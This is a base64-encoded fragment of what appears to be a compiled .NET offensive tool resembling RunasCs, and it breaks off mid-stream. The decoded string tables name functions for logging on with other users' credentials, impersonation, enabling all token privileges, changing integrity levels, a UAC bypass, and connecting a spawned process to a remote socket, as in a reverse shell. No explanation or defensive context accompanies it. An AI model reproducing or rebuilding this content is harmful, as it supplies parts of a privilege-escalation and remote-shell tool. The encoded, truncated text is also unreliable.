VE9LRU5fUFJJVklMRUdFUwBUT0tFTl9QUklWSUxFR0VTXzIATFVJRF9BTkRfQVRUUklCVVRFUwBMVUlEAFRPS0VOX0VMRVZBVElPTgBTSURfSURFTlRJRklFUl9BVVRIT1JJVFkAU0lEX0FORF9BVFRSSUJVVEVTAFRPS0VOX01BTkRBVE9SWV9MQUJFTABSdW5hc0NzTWFpbkNsYXNzAE1haW5DbGFzcwBtc2NvcmxpYgBTeXN0ZW0ARXhjZXB0aW9uAE9iamVjdABWYWx1ZVR5cGUARW51bQBlcnJvcl9zdHJpbmcALmN0b3IAU1dfSElERQBTdGFydGZfVXNlU3RkSGFuZGxlcwBUb2tlblR5cGUATE9HT04zMl9QUk9WSURFUl9ERUZBVUxUAExPR09OMzJfUFJPVklERVJfV0lOTlQ1MABMT0dPTjMyX0xPR09OX0lOVEVSQUNUSVZFAExPR09OMzJfTE9HT05fTkVUV09SSwBMT0dPTjMyX0xPR09OX0JBVENIAExPR09OMzJfTE9HT05fU0VSVklDRQBMT0dPTjMyX0xPR09OX1VOTE9DSwBMT0dPTjMyX0xPR09OX05FVFdPUktfQ0xFQVJURVhUAExPR09OMzJfTE9HT05fTkVXX0NSRURFTlRJQUxTAEJVRkZFUl9TSVpFX1BJUEUAQ1JFQVRFX05PX1dJTkRPVwBHRU5FUklDX0FMTABDUkVBVEVfVU5JQ09ERV9FTlZJUk9OTUVOVABEVVBMSUNBVEVfU0FNRV9BQ0NFU1MAREFDTF9TRUNVUklUWV9JTkZPUk1BVElPTgBMT0dPTl9XSVRIX1BST0ZJTEUATE9HT05fTkVUQ1JFREVOVElBTFNfT05MWQBHZXRDdXJyZW50UHJvY2VzcwBzb2NrZXQAaEVycm9yV3JpdGUAaE91dHB1dFJlYWQAaE91dHB1dFdyaXRlAGhPdXRwdXRSZWFkVG1wAHN0YXRpb25EYWNsT2JqAENsb3NlSGFuZGxlAFdhaXRGb3JTaW5nbGVPYmplY3QASW1wZXJzb25hdGVMb2dnZWRPblVzZXIAUmV2ZXJ0VG9TZWxmAExvZ29uVXNlcgBEdXBsaWNhdGVUb2tlbkV4AENyZWF0ZVByb2Nlc3NXaXRoTG9nb25XAENyZWF0ZVByb2Nlc3NBc1VzZXIAQ3JlYXRlUHJvY2Vzc1dpdGhUb2tlblcAU2V0U2VjdXJpdHlJbmZvAENyZWF0ZVBpcGUAU2V0TmFtZWRQaXBlSGFuZGxlU3RhdGUAUmVhZEZpbGUARHVwbGljYXRlSGFuZGxlAENyZWF0ZUVudmlyb25tZW50QmxvY2sARGVzdHJveUVudmlyb25tZW50QmxvY2sAU3lzdGVtLlRleHQAU3RyaW5nQnVpbGRlcgBHZXRVc2VyUHJvZmlsZURpcmVjdG9yeQBTeXN0ZW0uTmV0LlNvY2tldHMAQWRkcmVzc0ZhbWlseQBTb2NrZXRUeXBlAFByb3RvY29sVHlwZQBXU0FTb2NrZXQAY29ubmVjdABodG9ucwBpbmV0X2FkZHIAV1NBR2V0TGFzdEVycm9yAFdTQVN0YXJ0dXAAY2xvc2Vzb2NrZXQAR2V0UHJvY2Vzc0Z1bmN0aW9uAENyZWF0ZUFub255bW91c1BpcGVFdmVyeW9uZUFjY2VzcwBSZWFkT3V0cHV0RnJvbVBpcGUAY29ubmVjdFJlbW90ZQBDb3VudE11bHRpU3RyaW5nQnl0ZXMAZ2V0VXNlckVudmlyb25tZW50QmxvY2sAQ3JlYXRlUHJvY2Vzc1dpdGhMb2dvbldVYWNCeXBhc3MAQ2xlYW51cEhhbmRsZXMAUnVuQXMAY2IAbHBSZXNlcnZlZABscERlc2t0b3AAbHBUaXRsZQBkd1gAZHdZAGR3WFNpemUAZHdZU2l6ZQBkd1hDb3VudENoYXJzAGR3WUNvdW50Q2hhcnMAZHdGaWxsQXR0cmlidXRlAGR3RmxhZ3MAd1Nob3dXaW5kb3cAY2JSZXNlcnZlZDIAbHBSZXNlcnZlZDIAaFN0ZElucHV0AGhTdGRPdXRwdXQAaFN0ZEVycm9yAHByb2Nlc3MAdGhyZWFkAHByb2Nlc3NJZAB0aHJlYWRJZABMZW5ndGgAbHBTZWN1cml0eURlc2NyaXB0b3IAYkluaGVyaXRIYW5kbGUAdmFsdWVfXwBTZWN1cml0eUFub255bW91cwBTZWN1cml0eUlkZW50aWZpY2F0aW9uAFNlY3VyaXR5SW1wZXJzb25hdGlvbgBTZWN1cml0eURlbGVnYXRpb24Ac2luX2ZhbWlseQBzaW5fcG9ydABzaW5fYWRkcgBzaW5femVybwB3VmVyc2lvbgB3SGlnaFZlcnNpb24AaU1heFNvY2tldHMAaU1heFVkcERnAGxwVmVuZG9ySW5mbwBzekRlc2NyaXB0aW9uAHN6U3lzdGVtU3RhdHVzAFNFX1VOS05PV05fT0JKRUNUX1RZUEUAU0VfRklMRV9PQkpFQ1QAU0VfU0VSVklDRQBTRV9QUklOVEVSAFNFX1JFR0lTVFJZX0tFWQBTRV9MTVNIQVJFAFNFX0tFUk5FTF9PQkpFQ1QAU0VfV0lORE9XX09CSkVDVABTRV9EU19PQkpFQ1QAU0VfRFNfT0JKRUNUX0FMTABTRV9QUk9WSURFUl9ERUZJTkVEX09CSkVDVABTRV9XTUlHVUlEX09CSkVDVABTRV9SRUdJU1RSWV9XT1c2NF8zMktFWQBVT0lfTkFNRQBFUlJPUl9JTlNVRkZJQ0lFTlRfQlVGRkVSAFNFQ1VSSVRZX0RFU0NSSVBUT1JfUkVWSVNJT04AQUNMX1JFVklTSU9OAE1BWERXT1JEAEFDQ0VTU19BTExPV0VEX0FDRV9UWVBFAENPTlRBSU5FUl9JTkhFUklUX0FDRQBJTkhFUklUX09OTFlfQUNFAE9CSkVDVF9JTkhFUklUX0FDRQBOT19QUk9QQUdBVEVfSU5IRVJJVF9BQ0UATk9fRVJST1IARVJST1JfSU5WQUxJRF9GTEFHUwBHZXRQcm9jZXNzV2luZG93U3RhdGlvbgBHZXRVc2VyT2JqZWN0SW5mb3JtYXRpb24AT3BlbldpbmRvd1N0YXRpb24AT3BlbkRlc2t0b3AAQ2xvc2VXaW5kb3dTdGF0aW9uAENsb3NlRGVza3RvcABTZXRQcm9jZXNzV2luZG93U3RhdGlvbgBGcmVlU2lkAEdldFVzZXJPYmplY3RTZWN1cml0eQBHZXRTZWN1cml0eURlc2NyaXB0b3JEYWNsAEdldEFjbEluZm9ybWF0aW9uAEluaXRpYWxpemVTZWN1cml0eURlc2NyaXB0b3IAR2V0TGVuZ3RoU2lkAEluaXRpYWxpemVBY2wAR2V0QWNlAEFkZEFjZQBBZGRBY2Nlc3NBbGxvd2VkQWNlAFNldFNlY3VyaXR5RGVzY3JpcHRvckRhY2wAU2V0VXNlck9iamVjdFNlY3VyaXR5AENvcHlTaWQATG9va3VwQWNjb3VudE5hbWUAaFdpbnN0YQBoRGVza3RvcAB1c2VyU2lkAEdldFVzZXJTaWQAQWRkQWxsb3dlZEFjZVRvREFDTABBZGRBY2VUb1dpbmRvd1N0YXRpb24AQWRkQWNlVG9EZXNrdG9wAEFkZEFjbFRvQWN0aXZlV2luZG93U3RhdGlvbgBERUxFVEUAUkVBRF9DT05UUk9MAFdSSVRFX0RBQwBXUklURV9PV05FUgBTWU5DSFJPTklaRQBTVEFOREFSRF9SSUdIVFNfUkVRVUlSRUQAU1RBTkRBUkRfUklHSFRTX1JFQUQAU1RBTkRBUkRfUklHSFRTX1dSSVRFAFNUQU5EQVJEX1JJR0hUU19FWEVDVVRFAFNUQU5EQVJEX1JJR0hUU19BTEwAU1BFQ0lGSUNfUklHSFRTX0FMTABBQ0NFU1NfU1lTVEVNX1NFQ1VSSVRZAE1BWElNVU1fQUxMT1dFRABHRU5FUklDX1JFQUQAR0VORVJJQ19XUklURQBHRU5FUklDX0VYRUNVVEUAR0VORVJJQ19BQ0NFU1MAREVTS1RPUF9SRUFET0JKRUNUUwBERVNLVE9QX0NSRUFURVdJTkRPVwBERVNLVE9QX0NSRUFURU1FTlUAREVTS1RPUF9IT09LQ09OVFJPTABERVNLVE9QX0pPVVJOQUxSRUNPUkQAREVTS1RPUF9KT1VSTkFMUExBWUJBQ0sAREVTS1RPUF9FTlVNRVJBVEUAREVTS1RPUF9XUklURU9CSkVDVFMAREVTS1RPUF9TV0lUQ0hERVNLVE9QAERFU0tUT1BfQUxMAFdJTlNUQV9FTlVNREVTS1RPUFMAV0lOU1RBX1JFQURBVFRSSUJVVEVTAFdJTlNUQV9BQ0NFU1NDTElQQk9BUkQAV0lOU1RBX0NSRUFURURFU0tUT1AAV0lOU1RBX1dSSVRFQVRUUklCVVRFUwBXSU5TVEFfQUNDRVNTR0xPQkFMQVRPTVMAV0lOU1RBX0VYSVRXSU5ET1dTAFdJTlNUQV9FTlVNRVJBVEUAV0lOU1RBX1JFQURTQ1JFRU4AV0lOU1RBX0FMTABPV05FUl9TRUNVUklUWV9JTkZPUk1BVElPTgBHUk9VUF9TRUNVUklUWV9JTkZPUk1BVElPTgBTQUNMX1NFQ1VSSVRZX0lORk9STUFUSU9OAFVOUFJPVEVDVEVEX1NBQ0xfU0VDVVJJVFlfSU5GT1JNQVRJT04AVU5QUk9URUNURURfREFDTF9TRUNVUklUWV9JTkZPUk1BVElPTgBQUk9URUNURURfU0FDTF9TRUNVUklUWV9JTkZPUk1BVElPTgBQUk9URUNURURfREFDTF9TRUNVUklUWV9JTkZPUk1BVElPTgBBY2xSZXZpc2lvbkluZm9ybWF0aW9uAEFjbFNpemVJbmZvcm1hdGlvbgBTaWRUeXBlVXNlcgBTaWRUeXBlR3JvdXAAU2lkVHlwZURvbWFpbgBTaWRUeXBlQWxpYXMAU2lkVHlwZVdlbGxLbm93bkdyb3VwAFNpZFR5cGVEZWxldGVkQWNjb3VudABTaWRUeXBlSW52YWxpZABTaWRUeXBlVW5rbm93bgBTaWRUeXBlQ29tcHV0ZXIAVmFsdWUAQWNlQ291bnQAQWNsQnl0ZXNJblVzZQBBY2xCeXRlc0ZyZWUAQWNlVHlwZQBBY2VGbGFncwBBY2VTaXplAEhlYWRlcgBNYXNrAFNpZFN0YXJ0AFNFQ1VSSVRZX01BTkRBVE9SWV9VTlRSVVNURURfUklEAFNFQ1VSSVRZX01BTkRBVE9SWV9MT1dfUklEAFNFQ1VSSVRZX01BTkRBVE9SWV9NRURJVU1fUklEAFNFQ1VSSVRZX01BTkRBVE9SWV9ISUdIX1JJRABTRUNVUklUWV9NQU5EQVRPUllfU1lTVEVNX1JJRABTRUNVUklUWV9NQU5EQVRPUllfUFJPVEVDVEVEX1BST0NFU1NfUklEAFNFX1BSSVZJTEVHRV9FTkFCTEVEAE1BTkRBVE9SWV9MQUJFTF9BVVRIT1JJVFkAR2V0VG9rZW5JbmZvcm1hdGlvbgBMb29rdXBQcml2aWxlZ2VOYW1lAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZABTZXRUb2tlbkluZm9ybWF0aW9uAEdldFNpZFN1YkF1dGhvcml0eQBHZXRTaWRTdWJBdXRob3JpdHlDb3VudABBZGp1c3RUb2tlblByaXZpbGVnZXMATG9va3VwUHJpdmlsZWdlVmFsdWUAY29udmVydEF0dHJpYnV0ZVRvU3RyaW5nAEVuYWJsZVByaXZpbGVnZQBTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYwBMaXN0YDEAZ2V0VG9rZW5Qcml2aWxlZ2VzAElzTGltaXRlZFVBQ1Rva2VuAFNldFRva2VuSW50ZWdyaXR5TGV2ZWwAR2V0VG9rZW5JbnRlZ3JpdHlMZXZlbABFbmFibGVBbGxQcml2aWxlZ2VzAFRva2VuVXNlcgBUb2tlbkdyb3VwcwBUb2tlblByaXZpbGVnZXMAVG9rZW5Pd25lcgBUb2tlblByaW1hcnlHcm91cABUb2tlbkRlZmF1bHREYWNsAFRva2VuU291cmNlAFRva2VuSW1wZXJzb25hdGlvbkxldmVsAFRva2VuU3RhdGlzdGljcwBUb2tlblJlc3RyaWN0ZWRTaWRzAFRva2VuU2Vzc2lvbklkAFRva2VuR3JvdXBzQW5kUHJpdmlsZWdlcwBUb2tlblNlc3Npb25SZWZlcmVuY2UAVG9rZW5TYW5kQm94SW5lcnQAVG9rZW5BdWRpdFBvbGljeQBUb2tlbk9yaWdpbgBUb2tlbkVsZXZhdGlvblR5cGUAVG9rZW5MaW5rZWRUb2tlbgBUb2tlbkVsZXZhdGlvbgBUb2tlbkhhc1Jlc3RyaWN0aW9ucwBUb2tlbkFjY2Vzc0luZm9ybWF0aW9uAFRva2VuVmlydHVhbGl6YXRpb25BbGxvd2VkAFRva2VuVmlydHVhbGl6YXRpb25FbmFibGVkAFRva2VuSW50ZWdyaXR5TGV2ZWwAVG9rZW5VSUFjY2VzcwBUb2tlbk1hbmRhdG9yeVBvbGljeQBUb2tlbkxvZ29uU2lkAFRva2VuSXNBcHBDb250YWluZXIAVG9rZW5DYXBhYmlsaXRpZXMAVG9rZW5BcHBDb250YWluZXJTaWQAVG9rZW5BcHBDb250YWluZXJOdW1iZXIAVG9rZW5Vc2VyQ2xhaW1BdHRyaWJ1dGVzAFRva2VuRGV2aWNlQ2xhaW1BdHRyaWJ1dGVzAFRva2VuUmVzdHJpY3RlZFVzZXJDbGFpbUF0dHJpYnV0ZXMAVG9rZW5SZXN0cmljdGVkRGV2aWNlQ2xhaW1BdHRyaWJ1dGVzAFRva2VuRGV2aWNlR3JvdXBzAFRva2VuUmVzdHJpY3RlZERldmljZUdyb3VwcwBUb2tlblNlY3VyaXR5QXR0cmlidXRlcwBUb2tlbklzUmVzdHJpY3RlZABUb2tlblByb2Nlc3NUcnVzdExldmVsAFRva2VuUHJpdmF0ZU5hbWVTcGFjZQBUb2tlblNpbmdsZXRvbkF0dHJpYnV0ZXMAVG9rZW5Cbm9Jc29sYXRpb24AVG9rZW5DaGlsZFByb2Nlc3NGbGFncwBUb2tlbklzTGVzc1ByaXZpbGVnZWRBcHBDb250YWluZXIAVG9rZW5Jc1NhbmRib3hlZABUb2tlbklzQXBwU2lsbwBNYXhUb2tlbkluZm9DbGFzcwBTYW1lAFVua25vd24AVW50cnVzdGVkAExvdwBNZWRpdW0ASGlnaABQcm90ZWN0ZWRQcm9jZXNzAERpc2FibGVkAFNFX0dST1VQX01BTkRBVE9SWQBTRV9HUk9VUF9FTkFCTEVEX0JZX0RFRkFVTFQAU0VfR1JPVVBfRU5BQkxFRABTRV9HUk9VUF9PV05FUgBTRV9HUk9VUF9VU0VfRk9SX0RFTllfT05MWQBTRV9HUk9VUF9JTlRFR1JJVFkAU0VfR1JPVVBfSU5URUdSSVRZX0VOQUJMRUQAU0VfR1JPVVBfUkVTT1VSQ0UAU0VfR1JPVVBfTE9HT05fSUQAUHJpdmlsZWdlQ291bnQAUHJpdmlsZWdlcwBMdWlkAEF0dHJpYnV0ZXMATG93UGFydABIaWdoUGFydABUb2tlbklzRWxldmF0ZWQAcFNJRABMYWJlbABoZWxwAERpY3Rpb25hcnlgMgBnZXRMb2dvblR5cGVEaWN0AGdldENyZWF0ZVByb2Nlc3NGdW5jdGlvbkRpY3QASGVscFJlcXVpcmVkAFZhbGlkYXRlUHJvY2Vzc1RpbWVvdXQAVmFsaWRhdGVSZW1vdGUAVmFsaWRhdGVMb2dvblR5cGUAVmFsaWRhdGVDcmVhdGVQcm9jZXNzRnVuY3Rpb24ARGVmYXVsdENyZWF0ZVByb2Nlc3NGdW5jdGlvbgBSdW5hc0NzTWFpbgBNYWluAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBSdW5hc0NzX25ldDIAbWVzc2FnZQBTdHJpbmcAQ29uY2F0AEludFB0cgBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMARGxsSW1wb3J0QXR0cmlidXRlAEtlcm5lbDMyLmRsbABoYW5kbGUAbWlsbGlzZWNvbmRzAGFkdmFwaTMyLmRsbABoVG9rZW4ATWFyc2hhbEFzQXR0cmlidXRlAFVubWFuYWdlZFR5cGUAcHN6VXNlck5hbWUAcHN6RG9tYWluAHBzelBhc3N3b3JkAGR3TG9nb25UeXBlAGR3TG9nb25Qcm92aWRlcgBwaFRva2VuAEV4aXN0aW5nVG9rZW5IYW5kbGUAZHdEZXNpcmVkQWNjZXNzAGxwVGhyZWFkQXR0cmlidXRlcwBJbXBlcnNvbmF0aW9uTGV2ZWwARHVwbGljYXRlVG9rZW5IYW5kbGUAdXNlck5hbWUAZG9tYWluAHBhc3N3b3JkAGxvZ29uRmxhZ3MAYXBwbGljYXRpb25OYW1lAGNvbW1hbmRMaW5lAGNyZWF0aW9uRmxhZ3MAZW52aXJvbm1lbnQAY3VycmVudERpcmVjdG9yeQBzdGFydHVwSW5mbwBwcm9jZXNzSW5mb3JtYXRpb24AT3V0QXR0cmlidXRlAGxwQXBwbGljYXRpb25OYW1lAGxwQ29tbWFuZExpbmUAbHBQcm9jZXNzQXR0cmlidXRlcwBiSW5oZXJpdEhhbmRsZXMAZHdDcmVhdGlvbkZsYWdzAGxwRW52aXJvbm1lbnQAbHBDdXJyZW50RGlyZWN0b3J5AGxwU3RhcnR1cEluZm8AbHBQcm9jZXNzSW5mb3JtYXRpb24AYWR2YXBpMzIAZHdMb2dvbkZsYWdzAEluQXR0cmlidXRlAE9iamVjdFR5cGUAU2VjdXJpdHlJbmZvAHBzaWRPd25lcgBwc2lkR3JvdXAAcERhY2wAcFNhY2wAa2VybmVsMzIuZGxsAGhSZWFkUGlwZQBoV3JpdGVQaXBlAGxwUGlwZUF0dHJpYnV0ZXMAblNpemUAaE5hbWVkUGlwZQBscE1vZGUAbHBNYXhDb2xsZWN0aW9uQ291bnQAbHBDb2xsZWN0RGF0YVRpbWVvdXQAaEZpbGUAbHBCdWZmZXIAbk51bWJlck9mQnl0ZXNUb1JlYWQAbHBOdW1iZXJPZkJ5dGVzUmVhZABscE92ZXJsYXBwZWQAaFNvdXJjZVByb2Nlc3NIYW5kbGUAaFNvdXJjZUhhbmRsZQBoVGFyZ2V0UHJvY2Vzc0hhbmRsZQBscFRhcmdldEhhbmRsZQBkd09wdGlvbnMAdXNlcmVudi5kbGwAYkluaGVyaXQAcGF0aABkd1NpemUAd3MyXzMyLmRsbABhZGRyZXNzRmFtaWx5AHNvY2tldFR5cGUAcHJvdG9jb2xUeXBlAHByb3RvY29sSW5mbwBncm91cABmbGFncwBzAGFkZHIAYWRkcnNpemUAaG9zdHNob3J0AE9ic29sZXRlQXR0cmlidXRlAGNwAHdWZXJzaW9uUmVxdWVzdGVkAHdzYURhdGEAY3JlYXRlUHJvY2Vzc0Z1bmN0aW9uAE1hcnNoYWwAU2l6ZU9mAFplcm8AQnl0ZQBFbmNvZGluZwBnZXRfRGVmYXVsdABHZXRTdHJpbmcAcmVtb3RlAENvbnZlcnQAVG9JbnQzMgBJbnQzMgBGb3JtYXQAdW5pY29kZVN0ckludFB0cgBvcF9FcXVhbGl0eQBQdHJUb1N0cmluZ1VuaQBnZXRfTGVuZ3RoAFRvSW50NjQAd2FybmluZwBHZXRMYXN0V2luMzJFcnJvcgBDb3B5AGdldF9Vbmljb2RlAENoYXIAU3BsaXQAU3RhcnRzV2l0aABUb1N0cmluZwBHZXRCeXRlcwBJRW51bWVyYWJsZWAxAEFkZFJhbmdlAEFkZABUb0FycmF5AEFsbG9jSEdsb2JhbABsb2dvblR5cGUAdXNlcm5hbWUAZG9tYWluTmFtZQBwcm9jZXNzUGF0aABwcm9jZXNzSW5mbwBTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsAFdpbmRvd3NJZGVudGl0eQBHZXRDdXJyZW50AGdldF9Ub2tlbgBvcF9FeHBsaWNpdABXaW5kb3dzSW1wZXJzb25hdGlvbkNvbnRleHQASW1wZXJzb25hdGUASURpc3Bvc2FibGUARGlzcG9zZQBvcF9JbmVxdWFsaXR5AGNtZABwcm9jZXNzVGltZW91dABjcmVhdGVVc2VyUHJvZmlsZQBieXBhc3NVYWMAU3lzdGVtLkRpYWdub3N0aWNzAFByb2Nlc3MAZ2V0X1Nlc3Npb25JZABnZXRfSGFuZGxlAEVudmlyb25tZW50AEdldEVudmlyb25tZW50VmFyaWFibGUAQ29uc29sZQBTeXN0ZW0uSU8AVGV4dFdyaXRlcgBnZXRfT3V0AFdyaXRlTGluZQBGbHVzaABTdHJ1Y3RMYXlvdXRBdHRyaWJ1dGUATGF5b3V0S2luZAB1c2VyMzIAdXNlcjMyLmRsbABoT2JqAG5JbmRleABwdkluZm8Abkxlbmd0aABscG5MZW5ndGhOZWVkZWQAbHBzeldpblN0YQBmSW5oZXJpdABscHN6RGVza3RvcABoV2luU3RhAHBTaWQAcFNJUmVxdWVzdGVkAHBTZWN1cml0eURlc2NyaXB0b3IAYkRhY2xQcmVzZW50AGJEYWNsRGVmYXVsdGVkAHBBY2wAcEFjbEluZm9ybWF0aW9uAG5BY2xJbmZvcm1hdGlvbkxlbmd0aABkd0FjbEluZm9ybWF0aW9uQ2xhc3MAU2VjdXJpdHlEZXNjcmlwdG9yAGR3UmV2aXNpb24AbkFjbExlbmd0aABkd0FjbFJldmlzaW9uAGFjbFB0cgBhY2VJbmRleABhY2VQdHIAZHdBY2VSZXZpc2lvbgBkd1N0YXJ0aW5nQWNlSW5kZXgAcEFjZUxpc3QAbkFjZUxpc3RMZW5ndGgAQWNjZXNzTWFzawBzZABkYWNsUHJlc2VudABkYWNsAGRhY2xEZWZhdWx0ZWQAcFNEAG5EZXN0aW5hdGlvblNpZExlbmd0aABwRGVzdGluYXRpb25TaWQAcFNvdXJjZVNpZABscFN5c3RlbU5hbWUAbHBBY2NvdW50TmFtZQBTaWQAY2JTaWQAUmVmZXJlbmNlZERvbWFpbk5hbWUAY2NoUmVmZXJlbmNlZERvbWFpbk5hbWUAcGVVc2UAZ2V0X0NhcGFjaXR5AEVuc3VyZUNhcGFjaXR5AG1hc2sAYWNlRmxhZ3MAYWNlU2l6ZQBUeXBlAFJ1bnRpbWVUeXBlSGFuZGxlAEdldFR5cGVGcm9tSGFuZGxlAFVJbnQzMgBTdHJ1Y3R1cmVUb1B0cgBGcmVlSEdsb2JhbABQdHJUb1N0cnVjdHVyZQBTdWJzdHJpbmcARmxhZ3NBdHRyaWJ1dGUAVG9rZW5IYW5kbGUAVG9rZW5JbmZvcm1hdGlvbkNsYXNzAFRva2VuSW5mb3JtYXRpb24AVG9rZW5JbmZvcm1hdGlvbkxlbmd0aABSZXR1cm5MZW5ndGgAbHBMdWlkAGxwTmFtZQBjY2hOYW1lAHBJZGVudGlmaWVyQXV0aG9yaXR5AG5TdWJBdXRob3JpdHlDb3VudABkd1N1YkF1dGhvcml0eTAAZHdTdWJBdXRob3JpdHkxAGR3U3ViQXV0aG9yaXR5MgBkd1N1YkF1dGhvcml0eTMAZHdTdWJBdXRob3JpdHk0AGR3U3ViQXV0aG9yaXR5NQBkd1N1YkF1dGhvcml0eTYAZHdTdWJBdXRob3JpdHk3AHNpZABzdWJBdXRob3JpdHlJbmRleAB0b2tlbmhhbmRsZQBkaXNhYmxlcHJpdnMATmV3c3RhdGUAYnVmZmVybGVuZ3RoAFByZWl2b3VzU3RhdGUAUmV0dXJubGVuZ3RoAGxwc3lzdGVtbmFtZQBscG5hbWUAYXR0cmlidXRlAHByaXZpbGVnZQB0b2tlbgB0SGFuZGxlAGludGVncml0eQBSZWFkSW50UHRyAFJlYWRCeXRlAFJlYWRJbnQzMgAuY2N0b3IAcGFyYW0AdGltZW91dABUb1VJbnQzMgB0eXBlAENvbnRhaW5zS2V5AEFyZ3VtZW50RXhjZXB0aW9uAEVudW1lcmF0b3IAR2V0RW51bWVyYXRvcgBLZXlWYWx1ZVBhaXJgMgBnZXRfQ3VycmVudABnZXRfS2V5AGdldF9WYWx1ZQBNb3ZlTmV4dABmdW5jdGlvbgBhcmdzAFdyaXRlAEVtcHR5ADxQcml2YXRlSW1wbGVtZW50YXRpb25EZXRhaWxzPns4Q0EwMzU5Ri1DM0E1LTQyRTYtOEE5OC1GMkU3QUI4RjBDNkJ9AENvbXBpbGVyR2VuZXJhdGVkQXR0cmlidXRlACQkbWV0aG9kMHg2MDAwMDU5LTEAVHJ5R2V0VmFsdWUAZ2V0X01lc3NhZ2UAZ2V0X0NvdW50AGdldF9JdGVtAEluZGV4T3V0T2ZSYW5nZUV4Y2VwdGlvbgAAAAAtWwAtAF0AIABSAHUAbgBhAHMAQwBzAEUAeABjAGUAcAB0AGkAbwBuADoAIAABLUMAcgBlAGEAdABlAFAAcgBvAGMAZQBzAHMAQQBzAFUAcwBlAHIAVwAoACkAADNDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzAFcAaQB0AGgAVABvAGsAZQBuAFcAKAApAAAzQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwBXAGkAdABoAEwAbwBnAG8AbgBXACgAKQAAAQBRDQAKAE4AbwAgAG8AdQB0AHAAdQB0ACAAcgBlAGMAZQBpAHYAZQBkACAAZgByAG8AbQAgAHQAaABlACAAcAByAG8AYwBlAHMAcwAuAA0ACgAAN1MAcABlAGMAaQBmAGkAZQBkACAAcABvAHIAdAAgAGkAcwAgAGkAbgB2AGEAbABpAGQAOgAgAABNVwBTAEEAUwB0AGEAcgB0AHUAcAAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAGMAbwBkAGUAOgAgAHsAMAB9AABNVwBTAEEAQwBvAG4AbgBlAGMAdAAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAGMAbwBkAGUAOgAgAHsAMAB9AAB7WwAqAF0AIABXAGEAcgBuAGkAbgBnADoAIABJAG0AcABlAHIAcwBvAG4AYQB0AGUATABvAGcAZwBlAGQATwBuAFUAcwBlAHIAIABmAGEAaQBsAGUAZAAgAHcAaQB0AGgAIABlAHIAcgBvAHIAIABjAG8AZABlADoAIAAAeVsAKgBdACAAVwBhAHIAbgBpAG4AZwA6ACAAQwByAGUAYQB0AGUARQBuAHYAaQByAG8AbgBtAGUAbgB0AEIAbABvAGMAawAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAGMAbwBkAGUAOgAgAAB7WwAqAF0AIABXAGEAcgBuAGkAbgBnADoAIABHAGUAdABVAHMAZQByAFAAcgBvAGYAaQBsAGUARABpAHIAZQBjAHQAbwByAHkAIABmAGEAaQBsAGUAZAAgAHcAaQB0AGgAIABlAHIAcgBvAHIAIABjAG8AZABlADoAIAAAGVUAUwBFAFIAUABSAE8ARgBJAEwARQA9AAADAAABZVsAKgBdACAAVwBhAHIAbgBpAG4AZwA6ACAAUgBlAHYAZQByAHQAVABvAFMAZQBsAGYAIABmAGEAaQBsAGUAZAAgAHcAaQB0AGgAIABlAHIAcgBvAHIAIABjAG8AZABlADoAIAAAgK9DAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzAFcAaQB0AGgATABvAGcAbwBuAFcAVQBhAGMAQgB5AHAAYQBzAHMAOgAgAFcAcgBvAG4AZwAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAuACAATABvAGcAbwBuAFUAcwBlAHIAIABmAGEAaQBsAGUAZAAgAHcAaQB0AGgAIABlAHIAcgBvAHIAIABjAG8AZABlADoAIAAAAy4AAEdDAHIAZQBhAHQAZQBQAGkAcABlACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQA6ACAAAHVEAHUAcABsAGkAYwBhAHQAZQBIAGEAbgBkAGwAZQAgAHMAdABkAGUAcgByACAAdwByAGkAdABlACAAcABpAHAAZQAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAGMAbwBkAGUAOgAgAABzRAB1AHAAbABpAGMAYQB0AGUASABhAG4AZABsAGUAIABzAHQAZABvAHUAdAAgAHIAZQBhAGQAIABwAGkAcABlACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQA6ACAAAGFTAGUAdABOAGEAbQBlAGQAUABpAHAAZQBIAGEAbgBkAGwAZQBTAHQAYQB0AGUAIABmAGEAaQBsAGUAZAAgAHcAaQB0AGgAIABlAHIAcgBvAHIAIABjAG8AZABlADoAIAAAD0MAbwBtAFMAcABlAGMAAAcvAGMAIAAAgK1bACoAXQAgAFcAYQByAG4AaQBuAGcAOgAgAFUAcwBpAG4AZwAgAGYAdQBuAGMAdABpAG8AbgAgAEMAcgBlAGEAdABlAFAAcgBvAGMAZQBzAHMAVwBpAHQAaABMAG8AZwBvAG4AVwAgAGkAcwAgAG4AbwB0ACAAYwBvAG0AcABhAHQAaQBiAGwAZQAgAHcAaQB0AGgAIABsAG8AZwBvAG4AIAB0AHkAcABlACAAAFkuACAAUgBlAHYAZQByAHQAaQBuAGcAIAB0AG8AIABsAG8AZwBvAG4AIAB0AHkAcABlACAASQBuAHQAZQByAGEAYwB0AGkAdgBlACAAKAAyACkALgAuAC4AAGNDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzAFcAaQB0AGgATABvAGcAbwBuAFcAIABsAG8AZwBvAG4AIAB0AHkAcABlACAAOQAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAABrVwByAG8AbgBnACAAQwByAGUAZABlAG4AdABpAGEAbABzAC4AIABMAG8AZwBvAG4AVQBzAGUAcgAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAGMAbwBkAGUAOgAgAABbQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwBXAGkAdABoAEwAbwBnAG8AbgBXAFUAY